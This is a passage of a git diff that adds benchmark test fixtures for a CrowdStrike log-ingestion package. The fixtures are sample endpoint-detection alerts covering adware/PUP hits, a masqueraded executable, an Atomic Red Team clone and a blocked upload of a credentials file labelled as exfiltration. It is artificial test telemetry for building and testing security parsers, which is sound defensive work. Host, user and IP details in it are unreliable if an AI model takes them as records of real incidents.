26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
+        "severity": 21,
+        "type": [
+            "start"
+        ]
+    },
+    "file": {
+        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+        "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
+    },
+    "host": {
+        "domain": "ABC.LOCAL",
+        "hostname": "ABC709-1175",
+        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+        "ip": [
+            "81.2.69.142"
+        ],
+        "mac": [
+            "AB-21-48-61-05-B2"
+        ],
+        "os": {
+            "full": "Windows11",
+            "platform": "Windows",
+            "type": "windows"
+        }
+    },
+    "input": {
+        "type": "cel"
+    },
+    "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+    "process": {
+        "end": "2023-11-03T18:00:21.000Z",
+        "entity_id": "399748687993",
+        "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+        "hash": {
+            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+            "sha1": "0000000000000000000000000000000000000000",
+            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+        },
+        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+        "parent": {
+            "command_line": "C:\\WINDOWS\\Explorer.EXE",
+            "entity_id": "392736520876",
+            "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+            "hash": {
+                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
+            },
+            "name": "explorer.exe",
+            "pid": 392736520876
+        },
+        "pid": 399748687993,
+        "start": "2023-11-03T18:00:13.000Z",
+        "user": {
+            "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "name": "mohit.jha"
+        }
+    },
+    "related": {
+        "hash": [
+            "b07f77fd3f9828b2c9d61f8a36609741",
+            "cdf9cfebb400ce89d5b6032bfcdc693b",
+            "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+            "8cc3fcdd7d52d2d5221303c213e044ae",
+            "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+            "0000000000000000000000000000000000000000"
+        ],
+        "hosts": [
+            "ABC.LOCAL",
+            "ABC709-1175"
+        ],
+        "ip": [
+            "81.2.69.142"
+        ],
+        "user": [
+            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "yuvraj.mahajan",
+            "mohit.jha"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "preserve_duplicate_custom_fields",
+        "forwarded",
+        "crowdstrike-alert"
+    ],
+    "threat": {
+        "framework": "CrowdStrike Falcon Detections Framework",
+        "tactic": {
+            "id": [
+                "CSTA0004"
+            ],
+            "name": [
+                "MachineLearning"
+            ]
+        },
+        "technique": {
+            "id": [
+                "CST0000"
+            ],
+            "name": [
+                "Adware/PUP"
+            ]
+        }
+    },
+    "user": {
+        "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+        "name": "mohit.jha"
+    }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml
new file mode 100644
index 0000000000..30a2b50cf6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml
@@ -0,0 +1 @@
+num_docs: 10000
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log
new file mode 100644
index 0000000000..4441a6449e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log
@@ -0,0 +1 @@
+{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","AgentIdString":"5d77282ab4fxxxxxxxxxx65784cfa8f0","cid":"2cc98db1a4xxxxxxxxxxc94d43bfab70","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","ContentPatterns":[{"ConfidenceLevel":3,"ID":"4392b1416c974a488c31fbc4c97e89f6","MatchCount":1,"Name":"Credentials"}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","CustomerIdString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","DataVolume":39,"Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Destination":{"Channel":"web"},"DetectionType":"rule-based","EgressEventId":"89282731b67811f0a9f0c0892b3c995e","eid":118,"EventTimestamp":1761929044,"EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_DataProtectionDetectionSummaryEvent","FalconHostLink":"https://falcon.us-2.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:89282731b67811f0a9f0c0892b3c995e?_cid\u003dg04000alcexxxxxxxxxxnfyokz7bajkq","Filename":"sensitive_123.txt","FileType":{"Type":{"CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document","Description":"Plain Text (txt) File","ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text"}},"Hostname":"DESKTOP-OM905R2","IsClipboard":false,"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"Name":"Test attempted to be uploaded to Google Drive","Nonce":3100301192206752520,"PatternId":80005,"Platform":"Windows","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","Severity":90,"SeverityName":"Critical","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","timestamp":"2025-10-31T11:16:38Z","UserName":"Bob","UserNotified":true,"UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","UTCTimestamp":1761909398}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log
new file mode 100644
index 0000000000..169b2260ae
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log
@@ -0,0 +1,13 @@
+{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":""}
+{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":""}
+{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":""}
+{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::"}
+{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser"}
+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"}
+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_low","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776","DataDomains":"Endpoint","Description":"A low level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_high","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"86920ea0b350c9a3e3752a6aba6e1143","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_medium","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43448891811,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10306,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43450917603,"ProcessStartTime":1752575368,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":30,"SeverityName":"Low","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"}
+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd  crowdstrike_test_medium","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744","DataDomains":"Endpoint","Description":"A medium level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd  crowdstrike_test_critical","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"645b4fecb42fb954858850fe127ceb98","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd  crowdstrike_test_high","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43447659975,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10305,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43448891811,"ProcessStartTime":1752575354,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06","Severity":50,"SeverityName":"Medium","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"}
